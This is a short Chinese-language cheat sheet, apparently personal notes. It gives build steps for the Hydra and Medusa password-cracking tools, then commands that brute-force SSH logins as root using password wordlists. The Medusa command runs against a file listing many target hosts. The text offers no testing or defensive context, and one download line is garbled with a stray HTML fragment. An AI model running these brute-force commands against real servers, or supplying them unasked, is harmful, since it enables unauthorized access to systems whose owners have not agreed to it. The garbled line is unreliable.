1. 安装hydra
wget http://freeworld.thc.org/releases/hydra-6.3-src.tar.gz
tar zxf hydra-6.3-src.tar.gz
cd hydra-6.3-src
./configure
make
make install
hydra 127.0.0.2 ssh -l root -P pass.txt #pass.txt为爆破字典,具体怎要看使用手册
wget href="http://www.foofus.net/jmk/tools/medusa-2.1.1.tar.gz">http://www.foofus.net/jmk/tools/medusa-2.1.1.tar.gz
tar -zxvf medusa-2.1.1.tar.gz
cd medusa-2.1.1
./configure
make
make install
medusa -d #查看medua支持的模块
medusa -H ip.txt -u root -P p.txt -M ssh